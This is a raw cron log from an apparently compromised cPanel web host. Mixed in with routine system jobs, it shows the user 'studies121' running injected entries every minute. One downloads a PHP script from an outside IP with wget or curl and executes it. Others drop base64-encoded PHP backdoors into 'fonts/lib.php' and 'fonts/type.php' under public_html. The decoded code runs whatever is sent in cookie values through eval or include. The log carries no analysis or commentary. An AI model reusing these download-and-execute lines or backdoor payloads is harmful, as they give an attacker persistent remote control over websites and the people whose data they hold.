Sep 20 09:28:01 ip-184-168-122-23 CROND[5925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:28:01 ip-184-168-122-23 CROND[5928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:28:01 ip-184-168-122-23 CROND[5930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:29:01 ip-184-168-122-23 CROND[6208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:29:01 ip-184-168-122-23 CROND[6210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:29:01 ip-184-168-122-23 CROND[6211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:29:01 ip-184-168-122-23 CROND[6213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:30:01 ip-184-168-122-23 CROND[6491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:30:01 ip-184-168-122-23 CROND[6493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:30:01 ip-184-168-122-23 CROND[6496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:30:01 ip-184-168-122-23 CROND[6497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:30:01 ip-184-168-122-23 CROND[6494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:30:01 ip-184-168-122-23 CROND[6495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 09:30:01 ip-184-168-122-23 CROND[6498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:30:01 ip-184-168-122-23 CROND[6499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:31:01 ip-184-168-122-23 CROND[6851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:31:01 ip-184-168-122-23 CROND[6853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:31:01 ip-184-168-122-23 CROND[6856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:31:01 ip-184-168-122-23 CROND[6854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:31:01 ip-184-168-122-23 CROND[6855]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 09:32:01 ip-184-168-122-23 CROND[7129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:32:01 ip-184-168-122-23 CROND[7130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:32:01 ip-184-168-122-23 CROND[7133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:32:01 ip-184-168-122-23 CROND[7135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:32:01 ip-184-168-122-23 CROND[7134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:33:01 ip-184-168-122-23 CROND[7348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:33:01 ip-184-168-122-23 CROND[7347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:33:01 ip-184-168-122-23 CROND[7350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:33:01 ip-184-168-122-23 CROND[7349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:34:01 ip-184-168-122-23 CROND[7588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:34:01 ip-184-168-122-23 CROND[7590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:34:01 ip-184-168-122-23 CROND[7591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:34:01 ip-184-168-122-23 CROND[7593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:34:01 ip-184-168-122-23 CROND[7592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:35:01 ip-184-168-122-23 CROND[7849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:35:01 ip-184-168-122-23 CROND[7853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:35:01 ip-184-168-122-23 CROND[7854]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 09:35:01 ip-184-168-122-23 CROND[7852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:35:01 ip-184-168-122-23 CROND[7851]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:35:01 ip-184-168-122-23 CROND[7855]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 09:35:01 ip-184-168-122-23 CROND[7857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:35:01 ip-184-168-122-23 CROND[7856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:36:01 ip-184-168-122-23 CROND[8090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:36:01 ip-184-168-122-23 CROND[8091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:36:01 ip-184-168-122-23 CROND[8092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:36:01 ip-184-168-122-23 CROND[8093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:36:01 ip-184-168-122-23 CROND[8094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:37:01 ip-184-168-122-23 CROND[8357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:37:01 ip-184-168-122-23 CROND[8359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:37:01 ip-184-168-122-23 CROND[8360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:37:01 ip-184-168-122-23 CROND[8361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:38:01 ip-184-168-122-23 CROND[8710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:38:01 ip-184-168-122-23 CROND[8711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:38:01 ip-184-168-122-23 CROND[8713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:38:01 ip-184-168-122-23 CROND[8714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:38:01 ip-184-168-122-23 CROND[8715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:39:01 ip-184-168-122-23 CROND[9002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:39:01 ip-184-168-122-23 CROND[9004]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 09:39:01 ip-184-168-122-23 CROND[9005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:39:01 ip-184-168-122-23 CROND[9006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:39:01 ip-184-168-122-23 CROND[9007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:40:01 ip-184-168-122-23 CROND[9246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:40:01 ip-184-168-122-23 CROND[9249]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 09:40:01 ip-184-168-122-23 CROND[9250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:40:01 ip-184-168-122-23 CROND[9251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:40:01 ip-184-168-122-23 CROND[9253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
